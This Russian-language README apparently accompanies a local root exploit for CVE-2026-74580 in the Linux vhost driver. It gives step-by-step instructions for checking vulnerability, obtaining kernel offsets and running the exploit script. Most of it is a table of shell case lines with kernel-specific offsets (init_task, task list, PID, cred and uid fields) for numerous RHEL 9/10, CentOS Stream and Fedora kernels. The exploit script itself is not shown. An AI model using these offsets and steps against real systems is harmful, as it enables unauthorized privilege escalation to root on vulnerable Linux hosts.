CVE-2026-74580 - LPE

CVE-2026-74580 vhost: сброс кэша метаданных vring при перенастройке vring - Эксплойт

История эксплойта

Я обнаружил эту уязвимость через три дня после того, как о ней сообщил другой исследователь. Однако я уже разработал эксплойт и решил не публиковать его до тех пор, пока не убедился, что большинство дистрибутивов Linux применили необходимые патчи.

Как работает эксплойт

1. Проверка статуса уязвимости: Убедитесь, что работающая версия ядра уязвима и что права доступа к /dev/vhost-net и /dev/vhost-vsock установлены в 0660.
2. Определение смещений для конкретного ядра: Если система соответствует указанным выше условиям, определите смещения, специфичные для ядра, необходимые эксплойту: OFF_DIVIDE, OFF_INIT_TASK, T_TASKS, T_PID, T_REAL_CRED и C_UID. Если эти смещения отсутствуют в таблице смещений эксплойта, их можно получить из общедоступной информации. Обязательно используйте информацию, соответствующую точной версии ядра.
3. Запуск эксплойта: Как только все предварительные условия выполнены, сделайте скрипт исполняемым с помощью chmod +x CVE-2026-74580.sh, затем запустите его командой ./CVE-2026-74580.sh. Эксплойт автоматически выполнит оставшиеся шаги.

Проверенная версия и подтверждённый эксплойт

RHEL 10.x

Ядро: 6.12 | cred.uid: 8

Символы из пересборок AlmaLinux, Rocky Linux и CentOS Stream 1:1 того же NVR.

6.12.0-211.47.1.el10_2.x86_64)  echo  0x1001030  0x2212940  2624  2832  3352  8 ;;  # RHEL 10.2 vuln
6.12.0-211.7.1.el10_2.x86_64)   echo  0x1001030  0x2212940  2624  2832  3352  8 ;;  # RHEL 10.2 vuln
6.12.0-124.8.1.el10_1.x86_64)   echo  0x1001030  0x2010940  2560  2768  3288  8 ;;  # RHEL 10.1 vuln
6.12.0-55.9.1.el10_0.x86_64)    echo  0x1001030  0x2010940  2544  2752  3272  8 ;;  # RHEL 10.0 vuln
6.12.0-248.el10.x86_64)         echo  0x1001030  0x2212900  2624  2832  3352  8 ;;  # CentOS Stream 10 vuln

RHEL 9.x

Ядро: 5.14 | cred.uid: 4

5.14.0-734.el9.x86_64)          echo  0xe00930  0x1e1a900  2544  2744  3248  4 ;;  # CentOS Stream 9
5.14.0-731.el9.x86_64)          echo  0xe00930  0x1e1a900  2544  2744  3248  4 ;;  # CentOS Stream 9
5.14.0-687.44.1.el9_8.x86_64)   echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-687.36.1.el9_8.x86_64)   echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-687.39.1.el9_8.x86_64)   echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-687.5.1.el9_8.x86_64)    echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-611.5.1.el9_7.x86_64)    echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.7 vuln
5.14.0-570.12.1.el9_6.x86_64)   echo  0xe00940  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.6 vuln
5.14.0-503.11.1.el9_5.x86_64)   echo  0xe00940  0x1e1a8c0  2512  2712  3216  4 ;;  # RHEL 9.5 vuln
5.14.0-427.13.1.el9_4.x86_64)   echo  0xe00950  0x1c1a940  2512  2752  3256  4 ;;  # RHEL 9.4 vuln
5.14.0-362.8.1.el9_3.x86_64)    echo  0xe00910  0x1c1a940  2512  2776  3280  4 ;;  # RHEL 9.3 vuln
5.14.0-284.11.1.el9_2.x86_64)   echo  0xc008f0  0x1a1a940  2424  2688  3192  4 ;;  # RHEL 9.2 vuln
5.14.0-162.6.1.el9_1.x86_64)    echo  0xc008f0  0x1a1a940  2424  2688  3192  4 ;;  # RHEL 9.1 vuln
5.14.0-70.13.1.el9_0.x86_64)    echo  0xc00860  0x1a1a940  2424  2688  3192  4 ;;  # RHEL 9.0 vuln

Fedora

6.19.10-300.fc44.x86_64)        echo  0x1030  0x2a131c0  2560  2768  3288  8 ;;  # Fedora 44